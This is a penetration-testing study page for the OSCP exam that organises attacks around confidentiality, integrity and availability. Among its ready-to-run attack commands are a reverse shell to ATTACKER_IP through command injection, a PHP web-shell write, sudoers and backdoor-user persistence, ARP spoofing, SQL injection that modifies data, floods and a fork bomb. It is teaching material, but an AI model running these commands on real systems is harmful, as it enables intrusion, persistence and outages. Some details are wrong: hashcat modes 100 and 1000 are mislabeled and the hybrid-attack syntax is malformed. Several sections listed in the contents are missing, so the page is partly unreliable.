Domain 1Recon & ReportingCORE

CIA Triad

The foundational model of information security covering Confidentiality, Integrity, and Availability — the three pillars every security control maps to, with penetration testing relevance and practical attack scenarios.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#confidentiality#integrity#availability#security-fundamentals

CIA Triad

The CIA Triad is the foundational model of information security. Every security control, policy, or mechanism ultimately maps to one (or more) of these three pillars. As a penetration tester, your job is to demonstrate how each pillar can be violated — proving that controls are insufficient or misconfigured.


Table of Contents

  1. Overview
  2. Confidentiality
  3. Integrity
  4. Availability
  5. CIA Triad — Unified View
  6. Key Tools Reference
  7. Lab Exercises
  8. Common Misconceptions
  9. Exam Tips
  10. Cross-References

Overview

The CIA Triad was formalized by the National Institute of Standards and Technology (NIST) and the Department of Defense (DoD) in their Orange Book (TCSEC, 1985). It remains the primary taxonomy for classifying security objectives.

Pillar Question It Answers Penetration Tester’s Role
Confidentiality “Who should NOT see this?” Prove unauthorized parties CAN see it
Integrity “Who should NOT change this?” Prove unauthorized parties CAN change it
Availability “Who SHOULD be able to access this?” Prove authorized parties CANNOT access it

The Offensive Security Mindset

Defenders build controls to protect CIA. Attackers (and penetration testers) break controls to violate CIA. The OSCP exam is fundamentally about demonstrating CIA violations:

  • Confidentiality breach → You exfiltrate /etc/shadow, read sensitive files, dump credentials
  • Integrity breach → You modify web content, inject malicious code, alter database records
  • Availability breach → You crash a service, exhaust resources, trigger a denial-of-service

Key Insight: In the OSCP exam, Confidentiality and Integrity violations are your primary scoring mechanisms. You prove confidentiality is broken by reading user.txt and root.txt. You prove integrity is broken by writing to the system (creating users, modifying configs). Availability attacks are rarely scored directly but are important for understanding attack surfaces.


Confidentiality

Definition & Goals

Confidentiality ensures that information is accessible only to authorized individuals, systems, or processes. Unauthorized disclosure is prevented through access controls, encryption, and security policies.

Aspect Description
Core Goal Prevent unauthorized disclosure of information
Security Question “Is this data visible only to those who should see it?”
Failure Mode Information disclosure, data leakage, unauthorized access
OSCP Manifestation Reading sensitive files, dumping credentials, intercepting traffic

Controls & Mechanisms

Encryption Technologies

Encryption is the primary technical control for confidentiality. Understanding encryption is critical for the OSCP exam.

Technology Type Key Size Use Case OSCP Relevance
AES-256 Symmetric 256-bit File encryption, disk encryption Decrypt captured encrypted files
AES-128 Symmetric 128-bit TLS, WPA2 WiFi cracking targets
RSA-2048/4096 Asymmetric 2048/4096-bit Key exchange, digital signatures SSH key attacks
ChaCha20-Poly1305 Symmetric (AEAD) 256-bit Modern TLS, mobile Understanding modern crypto
3DES Symmetric (legacy) 168-bit Legacy systems Weak cipher exploitation
RC4 Stream cipher Variable Legacy TLS/WEP Broken cipher identification
AES Encryption Practical Example
# Encrypt a file with AES-256-CBC
openssl enc -aes-256-cbc -salt -pbkdf2 -in sensitive.txt -out sensitive.txt.enc -pass pass:MyStr0ngP@ss!

# Decrypt the file
openssl enc -aes-256-cbc -d -pbkdf2 -in sensitive.txt.enc -out recovered.txt -pass pass:MyStr0ngP@ss!

# Encrypt with a key file (more secure than password)
openssl rand -out aes_key.bin 32
openssl rand -out iv.bin 16
openssl enc -aes-256-cbc -in sensitive.txt -out sensitive.txt.enc -K $(xxd -p -c 64 aes_key.bin) -iv $(xxd -p -c 32 iv.bin)

# Decrypt with key file
openssl enc -aes-256-cbc -d -in sensitive.txt.enc -out recovered.txt -K $(xxd -p -c 64 aes_key.bin) -iv $(xxd -p -c 32 iv.bin)
Understanding AES Modes of Operation
ECB (Electronic Codebook):
┌─────────┐  AES  ┌─────────┐  AES  ┌─────────┐
│ Block 1 │──────▶│ Ciph  1 │  │ Block 2 │──────▶│ Ciph  2 │
└─────────┘       └─────────┘     └─────────┘       └─────────┘
❌ IDENTICAL plaintext blocks → IDENTICAL ciphertext blocks (INSECURE)

CBC (Cipher Block Chaining):
┌─────────┐     ┌─────────┐  AES  ┌─────────┐
│ IV      │────▶│         │      │         │
└─────────┘ XOR │ Block 1 │──────▶│ Ciph  1 │
                └─────────┘      └─────────┘
                     ▲
                     │ XOR
┌─────────┐     ┌─────────┐  AES  ┌─────────┐
│ Ciph  1 │────▶│         │      │         │
└─────────┘     │ Block 2 │──────▶│ Ciph  2 │
                └─────────┘      └─────────┘
✅ Each block depends on previous ciphertext (SECURE)

CTR (Counter):
┌─────────┐     ┌─────────┐  AES  ┌─────────┐
│ Counter │────▶│         │      │         │
│   0     │ XOR │         │──────▶│ Ciph  1 │
└─────────┘     └─────────┘      └─────────┘
┌─────────┐     ┌─────────┐  AES  ┌─────────┐
│ Counter │────▶│         │      │         │
│   1     │ XOR │         │──────▶│ Ciph  2 │
└─────────┘     └─────────┘      └─────────┘
✅ Parallelizable, no padding needed (SECURE)

Transport Layer Security (TLS/SSL)

TLS protects data in transit. Understanding TLS is essential for intercepting and analyzing network traffic.

# Test TLS configuration of a target
openssl s_client -connect target.com:443 -tls1_2

# Check supported cipher suites
nmap --script ssl-enum-ciphers -p 443 target.com

# Extract certificate details
openssl s_client -connect target.com:443 < /dev/null 2>/dev/null | openssl x509 -noout -text

# Check for weak protocols (SSLv3, TLS 1.0)
testssl.sh target.com

# Capture and decrypt TLS traffic (if you have the private key)
# This is how you decrypt HTTPS traffic in Burp Suite with the CA cert installed
tshark -r capture.pcap -T fields -e tls.handshake.cipher_name

Access Control Mechanisms

Mechanism Description Bypass Techniques
DAC (Discretionary) Owner controls access (Linux permissions) Privilege escalation, SUID abuse
MAC (Mandatory) System-enforced labels (SELinux, AppArmor) Policy misconfiguration, bypass rules
RBAC (Role-Based) Roles define permissions (Active Directory) Token impersonation, privilege abuse
ABAC (Attribute-Based) Attributes determine access Attribute manipulation, logic flaws
Linux Permission Analysis
# Check file permissions (critical for OSCP)
ls -la /etc/shadow
# Output: -rw-r----- 1 root shadow 1234 Jan 1 12:00 /etc/shadow
#         ^^^^^^^^^^^
#         Owner: rw-  Group: r--  Others: ---

# Find world-readable sensitive files
find / -perm -o+r -name "*.conf" -type f 2>/dev/null
find / -perm -o+r -name "*.key" -type f 2>/dev/null
find / -perm -o+r -name "*.pem" -type f 2>/dev/null

# Find SUID binaries (potential privilege escalation)
find / -perm -4000 -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find world-writable files
find / -perm -o+w -type f 2>/dev/null

# Check for files readable by specific groups
find / -group shadow -perm -g+r -type f 2>/dev/null

Network-Level Confidentiality Controls

Control Purpose Attack Surface
VLANs Segment network traffic VLAN hopping, misconfigured trunks
Firewalls Filter traffic by rules Rule bypass, misconfiguration
IPsec Encrypt IP-level traffic Weak pre-shared keys, implementation flaws
SSH Secure remote access Weak keys, brute force, agent forwarding abuse
VPN Secure remote connectivity Compromised credentials, split-tunneling abuse

Attack Vectors

Information Disclosure Attacks

Information disclosure is the most common confidentiality violation in OSCP exams.

Attack Vector Description Tools Detection
Default Credentials Services running with default login/password hydra, medusa, ncrack Login pages, service banners
Sensitive File Exposure .env, .git, config files accessible via web gobuster, ffuf, dirsearch Directory listing, error messages
Error Messages Stack traces revealing paths, versions, queries Manual browsing, fuzzing HTTP 500 responses
HTTP Headers Server version, internal IPs in response headers curl -I, nmap Response header analysis
DNS Zone Transfer Full DNS record dump via AXFR dig axfr, host -l Open DNS resolvers
SNMP Enumeration Community strings exposing system info snmpwalk, onesixtyone SNMP community strings
LDAP Enumeration Directory information disclosure ldapsearch, nmap scripts Open LDAP services
SMB Enumeration Share listing, user enumeration enum4linux, smbclient Open SMB shares
Web Information Disclosure — Common Paths
# Directory brute-forcing with gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,conf,bak,old
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

# Sensitive file discovery with ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/sensitive-files.txt

# Git directory exposure
gobuster dir -u http://target.com/.git/ -w /usr/share/wordlists/dirb/common.txt
# If found, use git-dumper:
python3 git-dumper.py http://target.com/.git/ /tmp/target_git
cd /tmp/target_git && git log --all

# Environment file exposure
curl -s http://target.com/.env
curl -s http://target.com/.env.bak
curl -s http://target.com/.env.production

# Backup file discovery
gobuster dir -u http://target.com -w - -x sql,bak,old,backup,zip,tar.gz << 'EOF'
database
db
config
backup
www
root
home
EOF
Network Information Disclosure
# Banner grabbing
nmap -sV --script=banner-grab target.com
nmap -p- --script=http-enum target.com

# DNS zone transfer attempt
dig axfr @target.com target.com
host -l target.com target.com

# SNMP enumeration
snmpwalk -v2c -c public target.com 1.3.6.1.2.1.25.1.6.0
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com

# SMB enumeration
enum4linux -a target.com
smbclient -L //target.com -N
rpcclient -U "" target.com

# Nmap scripts for info disclosure
nmap --script http-headers,http-server-header,http-title -p 80,443,8080,8443 target.com
nmap --script smb-enum-shares,smb-enum-users -p 445 target.com

Credential Theft

Technique Description OSCP Scenario
Password Spraying One password against many users Active Directory environments
Brute Force Many passwords against one user SSH, RDP, web logins
Pass-the-Hash Reuse NTLM hash without cracking Windows domain environments
Kerberoasting Request TGS for service accounts AD environments with SPNs
AS-REP Roasting Target users with pre-auth disabled AD environments
Credential Dumping Extract from memory (LSASS, SAM) Post-exploitation on Windows
Keylogging Capture keystrokes Post-exploitation persistence
Browser Credential Theft Extract saved passwords Chrome, Firefox profile access
Credential Attack Examples
# Hydra brute force SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com

# Hydra brute force HTTP POST form
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# Medusa brute force FTP
medusa -h target.com -u admin -P /usr/share/wordlists/rockyou.txt -M ftp

# Crack captured hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512crypt_hashes.txt /usr/share/wordlists/rockyou.txt

# Identify hash type
hashid $6$rounds=656000$...
# Output: SHA-512 (crypt)

# John the Ripper
john --format=sha512crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Traffic Interception

# ARP spoofing for MITM (on Linux Kali)
# Terminal 1: ARP spoof victim → gateway
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Terminal 2: ARP spoof gateway → victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Capture traffic
tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.100

# Use BetterCAP for modern MITM
bettercap -iface eth0 -proxy -proxy-ssl
# Then browse to http://127.0.0.1:8080 to see intercepted HTTPS traffic

# Use mitmproxy for HTTP/HTTPS interception
mitmproxy --mode transparent

OSCP Relevance

Confidentiality violations are the primary scoring mechanism in OSCP:

Exam Task CIA Violation How It’s Scored
Read user.txt Confidentiality Proves unauthorized access to user data
Read root.txt Confidentiality Proves unauthorized access to admin data
Dump /etc/shadow Confidentiality Proves credential exposure
Extract database contents Confidentiality Proves data exfiltration
Read internal documents Confidentiality Proves network segmentation failure

Exam Strategy: Every box you pwn is fundamentally a confidentiality attack. You are an unauthorized actor who gains access to data you should not see. The exam rewards thorough enumeration — finding all sensitive information, not just the flag files.

Practical Examples

Testing Encryption Strength

# Check if a file is encrypted
file sensitive.txt.enc
# Output: sensitive.txt.enc: data

# Try to identify encryption type
xxd sensitive.txt.enc | head -5

# Test weak encryption (ROT13 — not real encryption!)
echo "Hello World" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo "Uryyb Jbeyq" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# Crack WPA2 handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

# Crack ZIP file password
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt protected.zip

SSH Key Attacks

# Check SSH key strength
ssh-keygen -l -f id_rsa
# Output: 2048 SHA256:xxxx user@host (RSA)
# ⚠️ 2048-bit RSA is minimum; 1024-bit is WEAK

# Generate strong keys
ssh-keygen -t ed25519 -C "user@host"
ssh-keygen -t rsa -b 4096 -C "user@host"

# Test if SSH allows password auth (weak confidentiality)
nmap --script ssh-auth-methods -p 22 target.com

# Attempt SSH login with common keys
for key in /usr/share/seclists/Discovery/Web-Content/*.pem; do
    ssh -i "$key" root@target.com -o StrictHostKeyChecking=no 2>/dev/null && echo "SUCCESS: $key"
done

Integrity

Definition & Goals

Integrity ensures that data remains accurate, complete, and unaltered during storage, transmission, and processing. Unauthorized modification is prevented through hashing, digital signatures, and access controls.

Aspect Description
Core Goal Prevent unauthorized modification of information
Security Question “Has this data been tampered with?”
Failure Mode Data tampering, unauthorized modification, repudiation
OSCP Manifestation Modifying web content, injecting code, altering system files

Controls & Mechanisms

Hashing Algorithms

Hashing is the primary integrity verification mechanism. Understanding hash algorithms is essential for detecting tampering.

Algorithm Output Size Security Status Use Case
MD5 128-bit ❌ BROKEN Legacy systems, checksums (non-security)
SHA-1 160-bit ❌ DEPRECATED Legacy Git, old certificates
SHA-256 256-bit ✅ SECURE File integrity, TLS, certificates
SHA-512 512-bit ✅ SECURE High-security applications
BLAKE2 Variable ✅ SECURE Modern alternative to SHA-2
bcrypt Variable ✅ SECURE Password hashing
scrypt Variable ✅ SECURE Password hashing, key derivation
Argon2 Variable ✅ SECURE Password hashing (recommended)
Hash Verification Practical Examples
# Generate SHA-256 hash of a file
sha256sum important_file.txt
# Output: a1b2c3d4e5f6...  important_file.txt

# Generate MD5 hash (for comparison — NOT for security)
md5sum important_file.txt

# Generate SHA-512 hash
sha512sum important_file.txt

# Verify file integrity
echo "a1b2c3d4e5f6...  important_file.txt" > checksums.txt
sha256sum -c checksums.txt
# Output: important_file.txt: OK

# Hash a string
echo -n "password123" | sha256sum
# Output: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f  -

# Compare hashes to detect tampering
sha256sum /bin/ls > /tmp/ls_original.hash
# ... attacker modifies /bin/ls ...
sha256sum -c /tmp/ls_original.hash
# Output: /bin/ls: FAILED

# Tripwire-style integrity monitoring
# Create baseline hashes for critical files
find /etc -type f -exec sha256sum {} \; > /var/integrity/baseline.sha256
# Later, verify:
find /etc -type f -exec sha256sum {} \; | diff - /var/integrity/baseline.sha256

HMAC (Hash-based Message Authentication Code)

HMAC provides both integrity AND authenticity — it verifies the message hasn’t been tampered with AND confirms the sender’s identity.

# Generate HMAC-SHA256
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"
# Output: HMAC-SHA256(message)= abc123...

# Verify HMAC
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"
# Compare output — if different, message was tampered with

# HMAC with different algorithms
echo -n "message" | openssl dgst -sha512 -hmac "secret_key"
echo -n "message" | openssl dgst -md5 -hmac "secret_key"  # Weak — avoid in production

Digital Signatures

# Generate RSA key pair
openssl genrsa -out private_key.pem 2048
openssl rsa -in private_key.pem -pubout -out public_key.pem

# Sign a file
openssl dgst -sha256 -sign private_key.pem -out file.sig file.txt

# Verify a signature
openssl dgst -sha256 -verify public_key.pem -signature file.sig file.txt
# Output: Verified OK  (or Verification Failure)

# Sign and verify in one step
echo "important data" | openssl dgst -sha256 -sign private_key.pem | openssl dgst -sha256 -verify public_key.pem

File Integrity Monitoring (FIM)

Tool Description Detection Capability
AIDE Advanced Intrusion Detection Environment File hash changes, permission changes
Tripwire Commercial FIM solution Comprehensive file monitoring
OSSEC Host-based intrusion detection Real-time integrity monitoring
SAM Security Assessment Tool Linux file integrity
# AIDE initialization and checking
aide --init                          # Create initial database
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check                         # Check for changes
aide --check | grep DIFF             # Show only differences

# Simple FIM with inotifywait
inotifywait -m -r -e modify,create,delete /etc/ 2>/dev/null

Attack Vectors

Web Application Integrity Attacks

Attack Description Impact Tools
SQL Injection Modify database queries Read/modify/delete data sqlmap, manual
Command Injection Execute OS commands Full system compromise Manual, commix
File Upload Upload malicious files Web shell access Manual, Burp Suite
XXE XML External Entity Read local files, SSRF Manual, Burp Suite
CSRF Force unauthorized actions State changes Manual, Burp Suite
Insecure Deserialization Manipulate object state RCE, privilege escalation Manual, ysoserial
SQL Injection — Integrity Violation Examples
# Basic SQLi detection
curl -s "http://target.com/page?id=1' OR '1'='1" | grep -i "error\|syntax"

# Union-based SQLi
curl -s "http://target.com/page?id=1 UNION SELECT 1,2,3,4,5-- -"

# Extract database version
curl -s "http://target.com/page?id=1 UNION SELECT version(),2,3,4-- -"

# Extract table names
curl -s "http://target.com/page?id=1 UNION SELECT table_name,2,3,4 FROM information_schema.tables-- -"

# Modify data via SQLi (integrity violation!)
curl -s "http://target.com/page?id=1; UPDATE users SET role='admin' WHERE username='attacker'-- -"

# sqlmap automation
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D target_db --tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump
sqlmap -u "http://target.com/page?id=1" --os-shell  # Full system compromise
Command Injection Examples
# OS command injection via DNS lookup
curl -s "http://target.com/tools?ip=;id"
curl -s "http://target.com/tools?ip=|cat /etc/passwd"
curl -s "http://target.com/tools?ip=\`id\`"

# Time-based blind command injection
curl -s "http://target.com/tools?ip=;sleep 5"  # Measure response time

# Write a web shell (integrity violation!)
curl -s "http://target.com/upload?file=;echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"

# Reverse shell via command injection
curl -s "http://target.com/tools?ip=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

File System Integrity Attacks

# Modify system files (if you have write access)
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# Add a new user (integrity violation of user database)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd

# Modify SSH config to allow password auth
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config

# Replace a binary with a backdoored version
cp /bin/ls /bin/ls.bak
# Modify /bin/ls to also send data to attacker

# Web defacement (integrity violation of web content)
echo '<h1>Hacked by Attacker</h1>' > /var/www/html/index.html

Man-in-the-Middle Attacks

MITM attacks violate integrity by modifying data in transit.

# DNS spoofing (modify DNS responses)
# Using BetterCAP
bettercap -iface eth0 -dns spoof target.com=192.168.1.50

# SSL stripping (downgrade HTTPS to HTTP)
# Using BetterCAP
bettercap -iface eth0 -ssl strip on

# Modify HTTP responses on the fly
# Using mitmproxy with a script
mitmproxy -s modify_response.py

# Example mitmproxy script to modify responses
# modify_response.py:
def response(flow):
    if "target.com" in flow.request.host:
        flow.response.text = flow.response.text.replace("Original", "Tampered")

OSCP Relevance

Integrity violations are demonstrated through post-exploitation actions:

Exam Task CIA Violation How It’s Scored
Create a new user Integrity Proves you can modify system state
Modify /etc/passwd Integrity Proves user database tampering
Upload a web shell Integrity Proves web content modification
Inject SQL to modify data Integrity Proves database tampering
Add SSH key to authorized_keys Integrity Proves authentication bypass via modification

Exam Strategy: After gaining initial access, demonstrate integrity violations by modifying the system. Create users, add SSH keys, modify configurations. These actions prove you have write access and can alter the system state — a critical integrity violation.

Practical Examples

Hash Cracking for Integrity Assessment

# Identify hash type
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
# Output: MD5

# Crack with hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# -m 0 = MD5
# -m 100 = NTLM
# -m 1000 = SHA1
# -m 1400 = SHA256
# -m 1800 = SHA512 (crypt)

# Crack with John the Ripper
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Rule-based attack (modify wordlist entries)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Hybrid attack (wordlist + mask)
hashcat -m 0 hash.txt "/usr/share/wordlists/rockyou.txt?d?d?d?d"

Digital Signature Verification

# Verify package integrity (Debian/Ubuntu)
apt-get update 2>&1 | grep -i "signature\|expired\|invalid"

# Verify RPM package signature
rpm -K package.rpm

# Verify GPG signature
gpg --verify file.sig file.txt

# Check certificate chain integrity
openssl s_client -connect target.com:443 -showcerts < /dev/null 2>/dev/null | openssl x509 -noout -text | grep -A 5 "Signature Algorithm"

Availability

Definition & Goals

Availability ensures that information and resources are accessible to authorized users when needed. Systems remain operational despite failures, attacks, or high demand.

Aspect Description
Core Goal Ensure systems and data remain accessible
Security Question “Can authorized users access this when they need to?”
Failure Mode Service disruption, resource exhaustion, system crash
OSCP Manifestation Crashing services, exhausting resources, triggering errors

Controls & Mechanisms

Redundancy and High Availability

Technology Purpose Implementation
RAID Disk redundancy RAID 0/1/5/6/10
Load Balancing Distribute traffic HAProxy, Nginx, LVS
Clustering Failover capability Pacemaker, Corosync
Replication Data redundancy MySQL replication, PostgreSQL streaming
CDN Content distribution CloudFlare, Akamai
UPS Power backup Battery backup systems
RAID Levels Comparison
RAID 0 (Striping):
┌──────────┐ ┌──────────┐
│ Block 1  │ │ Block 2  │  → High performance, NO redundancy
├──────────┤ ├──────────┤  → If ANY disk fails, ALL data lost
│ Block 3  │ │ Block 4  │
└──────────┘ └──────────┘
Disk 1       Disk 2

RAID 1 (Mirroring):
┌──────────┐ ┌──────────┐
│ Block 1  │ │ Block 1  │  → Full redundancy, 50% capacity
├──────────┤ ├──────────┤  → If one disk fails, data survives
│ Block 2  │ │ Block 2  │
└──────────┘ └──────────┘
Disk 1       Disk 2

RAID 5 (Striping + Parity):
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Block 1  │ │ Block 2  │ │ Parity   │  → Single disk failure tolerance
├──────────┤ ├──────────┤ ├──────────┤  → Good balance of performance/safety
│ Parity   │ │ Block 4  │ │ Block 5  │
└──────────┘ └──────────┘ └──────────┘
Disk 1       Disk 2       Disk 3

RAID 10 (Mirror + Stripe):
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ Block 1  │ │ Block 1  │ │ Block 3  │ │ Block 3  │  → Best performance + redundancy
├──────────┤ ├──────────┤ ├──────────┤ ├──────────┤  → Expensive (50% capacity)
│ Block 2  │ │ Block 2  │ │ Block 4  │ │ Block 4  │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
Disk 1       Disk 2       Disk 3       Disk 4
(Mirror)     (Mirror)     (Mirror)     (Mirror)

DDoS Mitigation

Control Description Effectiveness
Rate Limiting Limit requests per IP/time ✅ Effective against simple floods
Web Application Firewall Filter malicious requests ✅ Good for application-layer attacks
CDN Absorption Distribute attack traffic ✅ Effective for volumetric attacks
Blackhole Routing Drop attack traffic ⚠️ Collateral damage
SYN Cookies Mitigate SYN floods ✅ Effective for TCP floods
# Configure rate limiting with iptables
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP

# Enable SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Configure connection limits
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 50 -j REJECT

# Nginx rate limiting configuration
# In nginx.conf:
# limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
# server {
#     location / {
#         limit_req zone=one burst=20;
#     }
# }

Backup and Recovery

Strategy Description RPO RTO
Full Backup Complete system copy Low Low
Incremental Changes since last backup Medium Medium
Differential Changes since last full backup Medium Low
Continuous Real-time replication Near-zero Low
# Create a full backup
tar -czpf /backup/full_$(date +%Y%m%d).tar.gz /etc /var/www /home

# Create incremental backup
tar -g /backup/snapshot.snar -czpf /backup/incr_$(date +%Y%m%d).tar.gz /etc /var/www

# Verify backup integrity
tar -tzpf /backup/full_20260101.tar.gz | head -20

# Restore from backup
tar -xzpf /backup/full_20260101.tar.gz -C /

# rsync for incremental backup
rsync -avz --delete /source/ user@backup:/destination/

Attack Vectors

Denial of Service Attacks

Attack Type Layer Description Tools
SYN Flood Transport Exhaust server connection table hping3, tflood
UDP Flood Transport Flood with UDP packets hping3, LOIC
HTTP Flood Application Legitimate-looking HTTP requests slowloris, hulk
Slowloris Application Keep connections open slowly slowloris
DNS Amplification Network Amplify DNS responses Reflected attacks
Resource Exhaustion Application Exhaust memory/CPU/disk Custom scripts
Application Logic DoS Application Exploit business logic Manual testing
DoS Attack Examples (Educational — Lab Use Only)
# SYN flood with hping3 (LAB ONLY)
hping3 -S --flood -p 80 target.com

# HTTP flood with hulk (LAB ONLY)
python3 hulk.py http://target.com

# Slowloris attack (LAB ONLY)
perl slowloris.pl target.com

# Resource exhaustion via application logic
# Example: Upload extremely large files
curl -X POST http://target.com/upload -F "file=@/dev/zero"

# Exhaust disk space
dd if=/dev/zero of=/tmp/fill_disk bs=1M count=10000

# Fork bomb (EXTREMELY DANGEROUS — LAB ONLY)
:(){ :|:& };:
# NEVER run this on a production system!

Application-Level Availability Attacks

# SQL injection causing long queries (database DoS)
curl -s "http://target.com/page?id=1 UNION SELECT 1,2,3 FROM (SELECT * FROM table1 CROSS JOIN table2 CROSS JOIN table3) x"

# Regex DoS (ReDoS)
# Send crafted input that causes catastrophic backtracking
curl -s "http://target.com/search?q=a{1000000}"

# Zip bomb extraction
# Upload a small ZIP that expands to terabytes
# Creates availability issue through disk exhaustion

# Log flooding
while true; do curl -s http://target.com/page?param=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10000); done

OSCP Relevance

Availability attacks are rarely scored directly in OSCP but are important for understanding:

Exam Relevance Description
Low Priority OSCP focuses on access, not disruption
Indirect Value Understanding DoS helps identify attack surfaces
Post-Exploitation Resource exhaustion can aid privilege escalation
Reporting Mentioning availability impacts strengthens your report

Exam Strategy: Do NOT perform DoS attacks during the OSCP exam. They can crash the lab environment, affect other students, and violate exam rules. Focus on confidentiality and integrity violations for scoring.

Practical Examples

Service Availability Testing

# Check if a service is running
nc -zv target.com 80
nc -zv target.com 443
nc -zv target.com 22

# Monitor service availability
while true; do
    curl -s -o /dev/null -w "%{http_code}" http://target.com
    echo " - $(date)"
    sleep 5
done

# Check for service degradation
ab -n 1000 -c 100 http://target.com/
# Apache Bench: 1000 requests, 100 concurrent

# Test with curl timing
curl -w "DNS: %{time_namelookup}s | Connect: %{time_connect}s | TLS: %{time_appconnect}s | Total: %{time_total}s\n" -o /dev/null -s http://target.com

Resource Monitoring

# Monitor CPU usage
top -bn1 | head -20

# Monitor memory usage
free -h

# Monitor disk usage
df -h

# Monitor open connections
ss -s
netstat -an | grep ESTABLISHED | wc -l

# Monitor process count
ps aux | wc -l

# Check for resource exhaustion indicators
dmesg | tail -20
journalctl -p err --since "1 hour ago"

CIA Triad — Unified View

How Attacks Map to CIA

Attack Technique Confidentiality Integrity Availability
SQL Injection ✅ Read data ✅ Modify data ✅ Crash database
XSS ✅ Steal cookies N/A N/A
CSRF N/A ✅ Unauthorized changes N/A
Brute Force ✅ Gain access ✅ Modify after access N/A
DoS/DDoS N/A N/A ✅ Service disruption
MITM ✅ Intercept data ✅ Modify data ✅ Block communication
Privilege Escalation ✅ Access sensitive data ✅ Modify system N/A
File Inclusion ✅ Read local files ✅ Include malicious files N/A
Command Injection ✅ Execute info commands ✅ Modify system ✅ Crash system
Buffer Overflow ✅ Leak memory ✅ Modify execution ✅ Crash application

Defense-in-Depth Mapping

                    ┌─────────────────────────────────────────┐
                    │         CIA TRIAD DEFENSE LAYERS        │
                    └─────────────────────────────────────────┘

  Confidentiality          Integrity              Availability
  ──────────────          ───────────            ────────────
  ┌─────────────┐       ┌─────────────┐       ┌─────────────┐
  │ Encryption  │       │ Hashing     │       │ Redundancy  │
  │ (AES, TLS)  │       │ (SHA-256)   │       │ (RAID, LB)  │
  └──────┬──────┘       └──────┬──────┘       └──────┬──────┘
  ┌──────┴──────┐       ┌──────┴──────┐       ┌──────┴──────┐
  │ Access Ctrl │       │ Digital Sig │       │ Backups     │
  │ (ACL, RBAC) │       │ (RSA, ECDSA)│       │ (Full/Incr) │
  └──────┬──────┘       └──────┬──────┘       └──────┬──────┘
  ┌──────┴──────┐       ┌──────┴──────┐       ┌──────┴──────┐
  │ Network Seg │       │ FIM         │       │ DDoS Mitig  │
  │ (VLAN, FW)  │       │ (AIDE)      │       │ (Rate Limit)│
  └─────────────┘       └─────────────┘       └─────────────┘

The CIA Trade-off Triangle

                Confidentiality
                      ▲
                     / \
                    /   \
                   /     \
                  /       \
                 /         \
                /           \
               /             \
              /               \
             /                 \
            /                   \
           /                     \
          /                       \
         /                         \
        /                           \
       /                             \
      /                               \
     /                                 \
    /                                   \
   /                                     \
  /                                       \
 /                                         \
/                                           \
Integrity ─────────────────────────────────── Availability

Key Trade-offs:
• More encryption (Confidentiality) → More processing overhead (Availability)
• More integrity checks → More latency (Availability)
• More redundancy (Availability) → More attack surface (Confidentiality)
• Stronger access controls (Confidentiality) → More complex management (Integrity)

Key Tools Reference

Confidentiality Tools

Tool Purpose Command Example OSCP Frequency
nmap Service enumeration, banner grabbing nmap -sV -sC target ⭐⭐⭐⭐⭐
gobuster Directory/file brute-forcing gobuster dir -u http://target -w wordlist.txt ⭐⭐⭐⭐⭐
ffuf Fast fuzzing tool ffuf -u http://target/FUZZ -w wordlist.txt ⭐⭐⭐⭐⭐
hydra Credential brute-forcing hydra -l user -P wordlist.txt ssh://target ⭐⭐⭐⭐
hashcat Password hash cracking hashcat -m 1000 hash.txt wordlist.txt ⭐⭐⭐⭐
john Password hash cracking john hash.txt --wordlist=wordlist.txt ⭐⭐⭐⭐
Burp Suite Web proxy, interception GUI-based ⭐⭐⭐⭐⭐
Wireshark Packet analysis tshark -r capture.pcap ⭐⭐⭐⭐
tcpdump Command-line packet capture tcpdump -i eth0 -w capture.pcap ⭐⭐⭐⭐
enum4linux SMB/Windows enumeration enum4linux -a target ⭐⭐⭐⭐
